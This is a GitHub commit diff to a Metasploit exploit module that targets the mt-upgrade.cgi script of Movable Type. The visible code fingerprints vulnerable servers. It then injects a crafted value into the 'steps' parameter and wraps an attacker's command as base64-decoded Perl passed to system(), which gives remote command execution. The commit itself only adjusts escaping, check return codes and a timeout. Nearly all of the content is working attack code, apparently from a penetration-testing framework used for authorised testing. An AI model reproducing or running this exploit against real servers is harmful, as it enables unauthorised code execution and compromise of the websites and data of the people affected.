Skip to content

Commit ba41ee9

Browse files
committed
- applied all the changes from rapid7#1363
- some extra escaping for the sake of it - removed the timeout in http_send_raw
1 parent c47392f commit ba41ee9

File tree

1 file changed

+9
-6
lines changed

1 file changed

+9
-6
lines changed

modules/exploits/multi/http/movabletype_upgrade_exec.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def initialize(info = {})
3333
[
3434
'Kacper Nowak',
3535
'Nick Blundell',
36-
"Gary O'Leary-Steele"
36+
'Gary O\'Leary-Steele'
3737
],
3838
'References' =>
3939
[
@@ -76,7 +76,7 @@ def check
7676
begin
7777
res = http_send_raw(fingerprint)
7878
rescue Rex::ConnectionError
79-
return
79+
return Exploit::CheckCode::Unknown
8080
end
8181
if (res)
8282
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
@@ -86,6 +86,8 @@ def check
8686
else
8787
return Exploit::CheckCode::Safe
8888
end
89+
else
90+
return Exploit::CheckCode::Unknown
8991
end
9092
end
9193

@@ -95,8 +97,9 @@ def exploit
9597
http_send_cmd(payload.encoded)
9698
end
9799

98-
def http_send_raw(cmd, timeout=20)
100+
def http_send_raw(cmd)
99101
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'
102+
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
100103
send_request_cgi(
101104
{
102105
'uri' => path,
@@ -105,15 +108,15 @@ def http_send_raw(cmd, timeout=20)
105108
{
106109
'__mode' => 'run_actions',
107110
'installing' => '1',
108-
'steps' => %{[["core_drop_meta_for_table","class","#{cmd.gsub('"', '\"')}"]]}
111+
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}
109112
}
110-
}, timeout)
113+
})
111114
end
112115

113116
def http_send_cmd(cmd)
114117
pay = 'v0;use MIME::Base64;system(decode_base64(q('
115118
pay << Rex::Text.encode_base64(cmd)
116119
pay << ')));return 0'
117-
http_send_raw(pay, 0.5)
120+
http_send_raw(pay)
118121
end
119122
end

0 commit comments

Comments
 (0)